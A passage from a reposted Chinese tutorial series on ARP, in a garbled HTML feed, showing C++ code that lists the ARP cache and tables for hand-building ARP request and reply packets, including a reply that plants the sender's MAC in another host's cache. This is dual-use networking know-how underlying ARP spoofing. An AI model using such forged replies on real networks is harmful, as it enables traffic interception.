</div> <div align="left"> <font color="#5233cc" size="2">     char szHWAddrStr[18];             // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2">     DWORD dwType;                     // cd</font> </div> <div align="left"> <font color="#5233cc" size="2">}INFO_ARP, *PINFO_ARP;</font> </div> <div align="left"> <font size="2"> </font> </div> <div align="left"> <font size="2"> </font> </div> <div align="left"> <font color="#55aa66" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#55aa66" size="2">*    Name & Params::</font> </div> <div align="left"> <font color="#55aa66" size="2">*             AddARPInfoToList</font> </div> <div align="left"> <font color="#55aa66" size="2">*             (</font> </div> <div align="left"> <font color="#55aa66" size="2">*                  CListCtrl& list :             CARPPlayerDlg传入的list句柄</font> </div> <div align="left"> <font color="#55aa66" size="2">*                  const short nAdapterIndex :   用户选中的网卡编?/font> </div> <div align="left"> <font color="#55aa66" size="2">*             )</font> </div> <div align="left"> <font color="#55aa66" size="2">*    Purpose:</font> </div> <div align="left"> <font color="#55aa66" size="2">*             dpȝ的ARP~存列表,.q添加到对话框中</font> </div> <div align="left"> <font color="#55aa66" size="2">*    Remarks:</font> </div> <div align="left"> <font color="#55aa66" size="2">*             用到了IpHelper api GetIpNetTable</font> </div> <div align="left"> <font color="#55aa66" size="2">*             而且用到了WinSock的apiQ所以要包含<WinSock2.h></font> </div> <div align="left"> <font color="#55aa66" size="2">*****************************************************************/</font> </div> <div align="left"> <font color="#4d4db3" size="2">void AddARPInfoToList(CListCtrl& list,const short nAdapterIndex)</font> </div> <div align="left"> <font color="#4d4db3" size="2">{</font> </div> <div align="left"> <font color="#4d4db3" size="2">     char tempChar;</font> </div> <div align="left"> <font color="#4d4db3" size="2">     DWORD dwListSize = 1;</font> </div> <div align="left"> <font color="#4d4db3" size="2">     DWORD dwRet;</font> </div> <div align="left"> <font color="#4d4db3" size="2">     in_addr inaddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2">     list.DeleteAllItems();</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> </div> <div align="left"> <font color="#4d4db3" size="2">     dwRet = GetIpNetTable((PMIB_IPNETTABLE)&tempChar, &dwListSize, TRUE);  // 关键函数</font> </div> <div align="left"> <font color="#4d4db3" size="2">     if (dwRet == ERROR_INSUFFICIENT_BUFFER)</font> </div> <div align="left"> <font color="#4d4db3" size="2">     {</font> </div> <div align="left"> <font color="#4d4db3" size="2">         PMIB_IPNETTABLE pIpNetTable = (PMIB_IPNETTABLE)new(char[dwListSize]);</font> </div> <div align="left"> <font color="#4d4db3" size="2">         dwRet = GetIpNetTable(pIpNetTable, &dwListSize, TRUE);</font> </div> <div align="left"> <font color="#4d4db3" size="2">         if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#4d4db3" size="2">         {</font> </div> <div align="left"> <font color="#4d4db3" size="2">              for (int i=0; i<(int)pIpNetTable->dwNumEntries; i++)</font> </div> <div align="left"> <font color="#4d4db3" size="2">              {</font> </div> <div align="left"> <font color="#4d4db3" size="2">                  // IP</font> </div> <div align="left"> <font color="#4d4db3" size="2">                   inaddr.S_un.S_addr = pIpNetTable->table[i].dwAddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2">                   strcpy( ARPList[i].szIPAddrStr, inet_ntoa(inaddr) );   </font> </div> <div align="left"> <font color="#4d4db3" size="2">                   // MAC</font> </div> <div align="left"> <font color="#4d4db3" size="2">                   formatMACToStr( ARPList[i].szHWAddrStr, pIpNetTable->table[i].bPhysAddr ); </font> </div> <div align="left"> <font color="#4d4db3" size="2">                   // Type </font> </div> <div align="left"> <font color="#4d4db3" size="2">                   ARPList[i].dwType = pIpNetTable->table[i].dwType;         </font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> </div> <div align="left"> <font color="#4d4db3" size="2">                   if (AdapterList[nAdapterIndex].dwIndex != pIpNetTable->table[i].dwIndex)                                                       continue;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> </div> <div align="left"> <font color="#4d4db3" size="2">                   list.InsertItem(i,ARPList[i].szIPAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2">                   list.SetItemText(i,1,ARPList[i].szHWAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2">                   switch(ARPList[i].dwType) {           // Ҏtype的值来转换成字W显C?/font> </div> <div align="left"> <font color="#4d4db3" size="2">                   case 3: <div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Dynamic");</font></div><div align="left"><font color="#4d4db3" size="2">                       break;</font></div><div align="left"><font color="#4d4db3" size="2">                   case 4:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Static");</font></div><div align="left"><font color="#4d4db3" size="2">                       break;</font></div><div align="left"><font color="#4d4db3" size="2">                   case 1:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Invalid");</font></div><div align="left"><font color="#4d4db3" size="2">                   default:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Other");</font></div><div align="left"><font color="#4d4db3" size="2">                   }</font></div><div align="left"><font color="#4d4db3" size="2">              }</font></div><div align="left"><font color="#4d4db3" size="2">         }</font></div><div align="left"><font color="#4d4db3" size="2">         delete pIpNetTable;</font></div><div align="left"><font color="#4d4db3" size="2">     }</font></div><div align="left"><font color="#4d4db3" size="2">}</font></div><div><font size="2">        q样一来,我们基本上大功告成了Q其他还有一些东西在q里׃讲了Q大家可以下载我的代码看看就好了?/font></div><div><font size="2">        下面我们来用ARP包玩一些小把戏 ^_^?/font></div></font> </div> </div> </div> <img src ="http://www.tkk7.com/yczz/aggbug/100056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:45 <a href="http://www.tkk7.com/yczz/articles/100056.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q手把手教你玩{ARP包(二)【数据包的游戏系列之一?/title><link>http://www.tkk7.com/yczz/articles/100055.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:41:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100055.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100055.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100055.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100055.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100055.html</trackback:ping><description><![CDATA[ <font face="宋体" color="#ff00ff" size="2">作者:</font> <div> <font size="2"> <font face="宋体">   <font color="#0000ff">CSDN  VC/MFC |络~程</font><font color="#f70909">PiggyXP</font>  <font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="宋体" color="#800080" size="2"> </font> </strong> </div> <div> <font color="#ff00ff"> <strong> </strong> 目录Q??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></font> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体"> <span style="mso-list: Ignore"> <font face="Times New Roman"> <strong>    一</strong>Q?span style="FONT: 7pt 'Times New Roman'">    </span></font> </span> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">关于</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <font face="Times New Roman">ARP</font> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">协议的基知识</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">     3. ARP包的填充</span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">二。发送数据包的编E实?/span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">   1.填充数据?/span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">.........................<font color="#7b6699">紧接上文</font>............................</span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> </p> </div> <div> <font size="2"> <font face="宋体"> <b>3<font color="#b822dd">.ARP</font></b> <b> <font color="#b822dd">包的填充</font> </b> </font> </font> </div> <div> <font face="宋体" color="#e6941a" size="2">1) h包的填充Q?/font> </div> <div> <font face="宋体" size="2">     比如我们的电脑MAC地址?aa-aa-aa-aa-aa-aaQIP?192.168.0.1</font> </div> <div> <font face="宋体" size="2"> 我们惌查询 192.168.0.99的MAC地址Q应该怎么来做呢?</font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font face="宋体"> <font size="2">     首先填充DLC HeaderQ通过前面的学习我们知道,惌知道某个计算机对应的MAC地址是要l全|发送广播的Q所?b><font color="#0000ff">接收方MAC</font></b>肯定?ffffffffffffQ?b><font color="#0033ff">发送方MAC</font></b>当然是自己啦Q?/font> <font size="2">于是我们的DLC Header填充完成了Q如图,加粗的是我们要手动输入的?当然我编的程序比较智能,会根据你选择的ARP包类型帮你自动填入一些字D,你一用便知^_^)?/font> </font> </div> <div> <font face="宋体" size="2"> </font> </div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="宋体" size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">填充?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">ffffffffffff</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="宋体" size="2">? ARPh包中 DLC Header内容</font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font face="宋体" size="2">    接下来是ARP帧,h包的<b><font color="#0033ff">操作?/font></b>当然?1,<b>?font color="#0000ff">送方的MAC</font></b>以及<b><font color="#0938f7">IP</font></b>当然填入我们自己的,然后要注意一下,q里?b><font color="#0033ff">接收方IP</font></b>填入我们要查询的那个IP地址Q就?92.168.0.99了,?b><font color="#0909f7">接收方MAC</font></b>填入L值就行,不v作用Q于是,如图Q?/font> </div> <div> <font face="宋体" size="2"> </font> </div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="宋体" size="2">                            ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">填充?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">gcd</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">上层协议cd</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0800</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">MAC地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">IP地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">操作?/font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">L?xxxxxxxxxxxx</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">填充数据</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="宋体" size="2">                 ? ARPh包中 ARP帧的内容</font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font face="宋体" size="2">    如果我们构造一个这L包发送出去,如果 192.168.0.99存在且是zd的,我们马上׃收到一?92.168.0.99发来的一个响应包Q我们可以查看一下我们的ARP~存列表Q是不是多了一类DL?/font> <font face="宋体" size="2">目:</font> <font face="宋体" size="2">           </font> </div> <div> <font face="宋体" size="2">       192.168.0.99                  bb-bb-bb-bb-bb-bb</font> </div> <div> <font face="宋体" size="2">     是不是很奇呢?</font> </div> <div> <font face="宋体" size="2">     我们再来看一下ARP响应包的构?/font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font size="2"> <font face="宋体"> <font color="#e6941a"> <b>2) </b> <b>响应包的填充</b> </font> </font> </font> </div> <div> <font face="宋体" size="2">     有了前面详细的解_你肯定就能自p出响应包的填充方法来了吧Q所以我׃l说了,列两个表好?/font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font face="宋体" size="2">     比如说给 192.168.0.99QMAC?bb-bb-bb-bb-bb-bbQ发一个ARP响应包,告诉它我们的MAC地址?aa-aa-aa-aa-aa-aaQ就是如此来填充各个字段</font> </div> <div> <font face="宋体" size="2"> </font> </div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="宋体" size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">填充?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <font size="2"> <font face="宋体"> <b>bbbbbbbbbbbb</b> <b> </b> </font> </font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="宋体" size="2">              ? ARP响应包中 DLC Header内容</font> </div> <div> <font face="宋体" size="2"> </font> </div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="宋体" size="2">ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">填充?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">gcd</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">上层协议cd</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0800</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">MAC地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">IP地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">操作?/font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">2</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">发送方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">bbbbbbbbbbbb</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">接收方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="宋体" size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="宋体" size="2">填充数据</font> </div> </td> <td width="63"> <div align="center"> <font face="宋体" size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="宋体" size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="宋体" size="2">          ? ARP响应包中 ARP帧的内容</font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <font face="宋体" size="2">    q样192.168.0.99的ARP~存中就会多了一条关于我?92.168.0.1的地址映射?/font> </div> <div> <font face="宋体" size="2">    好了Q终于到了编E实现它的时候了^_^</font> </div> <div> <font face="宋体" size="2"> </font> </div> <div> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia; mso-bidi-font-family: 宋体"> <span style="mso-list: Ignore">二.<span style="FONT: 7pt 'Times New Roman'">  </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia">ARP</span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包的~程实现</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">        </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上面的那些关?/span> <span lang="EN-US" style="FONT-SIZE: 9pt">ARP</span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包各个字D늚表格Q对应在E序里就是结构体Q?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋? mso-ansi-language: ZH-CN">对应于上面的表格Q?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">于是我们需要三个下面这Ll构?/span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// DLC Header</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagDLCHeader<span style="mso-spacerun: yes">                     </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">   </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>DesMAC[6];<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* destination HW addrress */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">   </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>SrcMAC[6];<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* source HW addresss */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">   </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 1">     </span>Ethertype;<span style="mso-tab-count: 3">             </span><span style="mso-spacerun: yes">   </span><span style="COLOR: green">/* ethernet type */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} DLCHEADER, *PDLCHEADER;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPFrame<span style="mso-spacerun: yes">                      </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 13.5pt; TEXT-ALIGN: left; mso-char-indent-count: 1.5; mso-layout-grid-align: none" align="left"> <span lang="EN-US" 